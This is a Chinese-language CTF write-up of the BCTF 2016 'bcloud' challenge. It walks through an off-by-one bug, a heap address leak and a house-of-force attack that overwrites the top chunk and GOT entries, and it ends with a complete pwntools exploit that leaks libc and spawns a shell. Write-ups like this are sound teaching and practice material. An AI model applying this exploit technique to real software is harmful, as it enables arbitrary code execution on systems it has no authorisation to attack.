bctf-2016-bcloud200

一道典型的house of force题~

分析

没啥需要关注的保护:

逆向分析,此处存在off by one的溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl Read(char *name, int size, char endChar)
{
char tmp; // [esp+1Bh] [ebp-Dh]
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i < size; ++i )
{
if ( read(0, &tmp, 1u) <= 0 )
exit(-1);
if ( tmp == endChar )
break;
name[i] = tmp;
}
name[i] = 0; // off by one
return i;
}

在此处,当输入64字节时,结束符会被存放在nameBak里,接下来就会被覆盖为堆地址,此时就可以泄露堆地址啦(注意此时并没有对堆溢出,因为由于对齐,分配的chunk size为0x48也就是可用size为0x44字节)~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int readName()
{
char name[64]; // [esp+1Ch] [ebp-5Ch]
char *nameBak; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(name, 0, 0x50u);
puts("Input your name:");
Read(name, 64, '\n');
nameBak = (char *)malloc(64u);
Name = nameBak;
strcpy(nameBak, name);
banner(nameBak);
return __readgsdword(0x14u) ^ v3;
}

此处,由于没有结束符,可以使org=s+org+v3溢出,org后面就是topchunk了,于是可以修改它的size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int readInfo()
{
char s[64]; // [esp+1Ch] [ebp-9Ch]
char *org; // [esp+5Ch] [ebp-5Ch]
char v3[68]; // [esp+60h] [ebp-58h]
char *host; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(s, 0, 0x90u);
puts("Org:");
Read(s, 64, '\n');
puts("Host:");
Read(v3, 64, '\n');
host = (char *)malloc(64u);
org = (char *)malloc(64u);
Org = org;
Host = host;
strcpy(host, v3);
strcpy(org, s);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

这里的malloc参数可控于是可以分配任意大小,到目前为止已经满足house of force的条件啦~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int new()
{
int result; // eax
signed int i; // [esp+18h] [ebp-10h]
int len; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i <= 9 && noteList[i]; ++i )
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
len = readNum();
noteList[i] = (char *)malloc(len + 4);
if ( !noteList[i] )
exit(-1);
lenList[i] = len;
puts("Input the content:");
Read(noteList[i], len, '\n');
printf("Create success, the id is %d\n", i);
result = i;
synStats[i] = 0;
return result;
}

接着,控制哪些区域呢?首先需要泄露出libc的地址,show函数未实现,putsprintf的参数写死都不能直接拿来输出,于是需要劫持其他函数,可以把free劫持了,把GOT项改为printf的plt+6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int delet()
{
int id; // [esp+18h] [ebp-10h]
char *ptr; // [esp+1Ch] [ebp-Ch]

puts("Input the id:");
id = readNum();
if ( id < 0 || id > 9 )
return puts("Invalid ID.");
ptr = noteList[id];
if ( !ptr )
return puts("Note has been deleted.");
noteList[id] = 0;
lenList[id] = 0;
free(ptr);
return puts("Delete success.");
}

上面free的参数是noteList[id],这里可以更改它指向位置的值,也是需要修改noteList里的地址的,所以还需要一次分配,使noteList这片区域可控~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int edit()
{
int len; // ST1C_4
int id; // [esp+14h] [ebp-14h]
char *v3; // [esp+18h] [ebp-10h]

puts("Input the id:");
id = readNum();
if ( id < 0 || id > 9 )
return puts("Invalid ID.");
v3 = noteList[id];
if ( !v3 )
return puts("Note has been deleted.");
len = lenList[id];
synStats[id] = 0;
puts("Input the new content:");
Read(v3, len, '\n');
return puts("Edit success.");
}

利用

通过分析发现了漏洞所在与一些可能的利用点子,现在来综合一下,最初思路:

  1. 由于不知道system地址,第一次先泄露地址,第二次再劫持函数。
  2. 在初始化时,通过readName输出堆地址。
  3. 接着在readInfo中对org输入0x40个字符,对host输入随意(不会有溢出),这样host的前四字节就会覆盖到topchunk的size位。
  4. 此时有topchunk的size为0xfffffff8且topchunk的位置已知,就可以算出需要控制位置的相对偏移,先分配去掉前面的部分,再次分配即可控制free@got区域,将其改写为printf@plt+6即可劫持它获得libc地址,再次分配atoi@got区域
  5. 接下来分配notLits区域,以泄露libc地址,再编辑atoisystem地址,即可getshell。

然而,这种方法由于topchunk的size与对齐问题,将会破坏很多数据,部分数据可以通过一些方法修复,另一些却很难修复,于是另寻它法:

  1. 123步同上
  2. 首先分配lenList区域,将里面的各项数字都改大点,总有好处的。
  3. 接着分配noteList区域,除了之前有的区域,将第一个未使用的区域改为free@got地址,第二个改为atoi@got地址,第三个改为atoi@got地址(将这三个块编号123)
  4. 编辑块1,改为printf@plt+6再释放块3得到libc地址
  5. 编辑块2,改为system地址,再次输入/bin/sh\0getshell

最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python
# coding=utf-8

from pwn import *

rootdir = '/root/Desktop/'
binfile = rootdir + './bcloud'
libcdir = rootdir + './glibc-2.24/build32/'
libcfile = libcdir + './libc.so'
ldfile = libcdir + './elf/ld.so'

p = process([ldfile,'--library-path',libcdir,binfile])
#p = process(binfile)
def sla(a,b):
p.sendlineafter(b,a)
def sa(a,b):
p.sendafter(b,a)
def ru(s):
return p.recvuntil(s)
def opt(i):
sla(str(i),'--->>')
def readname(name):
sa(name,'name:\n')
return ru('Welcome')
def readinfo(org,host):
sa(org,'Org:\n')
sa(host,'Host:\n')
def new(length,content):
opt(1)
print str(length)
sla(str(length),'length')
sla(content,'content')
assert('success' in ru('1.New note'))
def edit(id,content):
opt(3)
sla(str(id),'id')
sla(content,'content')
assert('success' in ru('1.New note'))
def delete(id):
opt(4)
sla(str(id),'id:\n')
#assert('success' in ru('1.New note'))
return ru('Del')
gdb.attach(p)
#泄露堆地址
heapAddr = u32(readname('a'*0x40)[0x40+4:0x40+8])
print "heapAddr:0x{:x}".format(heapAddr)
readinfo(org='b'*0x40,host=p32(0xffffffff)+'\n')
#此时又分配了两个堆,算出topchunk的地址
topchunk = heapAddr-0x08+0x48+0x48+0x48

freeGot = 0x0804B014
lenList = 0x0804B0A0
printfPlt6 = 0x80484d6
noteList = 0x0804B120
atoiGot = 0x0804B03C
#topchunk+requestsize => lenList-0x08
#再加上对齐,求得请求的大小
requestsize = 0x0804B0A0+(0xffffffff+0x01)-topchunk-0x04
length = requestsize-0x04
#print "requestsize:0x{:x}".format(requestsize)
length = (0xffffffff ^ length) + 1
new('-'+str(length),'\n') #0
requestsize = noteList - lenList - 0x08
new(requestsize,p32(32)*6+'\n') #1
new(requestsize,flat(freeGot,atoiGot,atoiGot)+'\n')#2
edit(2,p32(printfPlt6))
atoiAddr = u32(delete(4)[:-3].ljust(4,'\x00'))
libc = ELF(libcfile)
systemAddr = atoiAddr+libc.symbols['system']-libc.symbols['atoi']
edit(3,p32(systemAddr))
sla('/bin/sh\0','>')
p.interactive()
#raw_input('#')

结果

参考

[0]https://0x48.pw/2018/01/16/0x41/#house-of-force
[1]http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html